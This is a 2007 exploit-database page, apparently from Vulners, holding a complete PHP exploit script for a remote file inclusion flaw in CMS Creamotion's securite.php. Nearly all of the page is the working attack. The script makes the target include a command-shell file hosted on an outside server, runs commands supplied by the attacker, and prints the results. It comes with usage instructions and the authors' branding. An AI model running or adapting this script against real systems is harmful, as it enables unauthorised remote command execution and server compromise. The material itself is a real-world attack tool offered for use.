CMS Creamotion (securite.php) Remote File Inclusion Exploit

🗓️ 07 Oct 2007 00:00:00Reported by RootType
CMS Creamotion Remote File Inclusion Exploit allows command execution by manipulating securite.php

                                                #!/usr/bin/php&nbsp;-q&nbsp;-d&nbsp;short_open_tag=on
&lt;?
/*
/*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CMS&nbsp;Creamotion&nbsp;-&nbsp;Remote&nbsp;File&nbsp;include
/*&nbsp;&nbsp;This&nbsp;exploit&nbsp;should&nbsp;allow&nbsp;you&nbsp;to&nbsp;execute&nbsp;commands
/*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;By&nbsp;:&nbsp;HACKERS&nbsp;PAL
/*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WwW.SoQoR.NeT
*/
print_r('
/**********************************************/
/*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CMS&nbsp;Creamotion&nbsp;Command&nbsp;Execution&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/
/*&nbsp;&nbsp;&nbsp;&nbsp;by&nbsp;HACKERS&nbsp;PAL&nbsp;&lt;[email protected]&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/
/*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;site:&nbsp;http://www.soqor.net&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/');
if&nbsp;($argc&lt;3)&nbsp;{
	print_r('
/*&nbsp;--&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/
/*&nbsp;Usage:&nbsp;php&nbsp;'.$argv[0].'&nbsp;host
/*&nbsp;Example:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/
/*&nbsp;&nbsp;&nbsp;&nbsp;php&nbsp;'.$argv[0].'&nbsp;http://localhost/&nbsp;id
/**********************************************/
');
	die;
}
error_reporting(0);
ini_set(&quot;max_execution_time&quot;,0);

$url=$argv[1];
$cmd=$argv[2];
$exploit=&quot;/_administration/securite.php?cfg[document_uri]=http://members.lycos.co.uk/soqor10/cmd.txt?&quot;;
$page=$url.$exploit;

Function&nbsp;get_page($url)
{

	if(function_exists(&quot;file_get_contents&quot;))
	{

		$contents&nbsp;=&nbsp;file_get_contents($url);
	}
	else
	{
		$fp=fopen(&quot;$url&quot;,&quot;r&quot;);
		while($line=fread($fp,1024))
		{
			$contents=$contents.$line;
		}


	}
	return&nbsp;$contents;
}
$npage&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;get_page($page);


if(eregi(&quot;Cannot&nbsp;execute&nbsp;a&nbsp;blank&nbsp;command&quot;,$npage))
{
	$pagecmd=$page.&quot;&amp;cmd=$cmd&quot;;
	Die(&quot;\n[+]&nbsp;Exploit&nbsp;Is&nbsp;Working\n[+]&nbsp;Result&nbsp;For&nbsp;CMD&nbsp;:&nbsp;&quot;.get_page($pagecmd).&quot;\n[+]&nbsp;See&nbsp;The&nbsp;Vulnerabiliy&nbsp;article&nbsp;for&nbsp;more&nbsp;informations\n/*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Visit&nbsp;us&nbsp;:&nbsp;WwW.SoQoR.NeT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/\n/**********************************************/&quot;);
}
Else
{
	Die(&quot;\n[-]&nbsp;Exploit&nbsp;Failed\n/*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Visit&nbsp;us&nbsp;:&nbsp;WwW.SoQoR.NeT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/\n/**********************************************/&quot;);
}
#WwW.SoQoR.NeT
?&gt;
07 Oct 2007 00:00Current
7.1High risk
Vulners AI Score7.1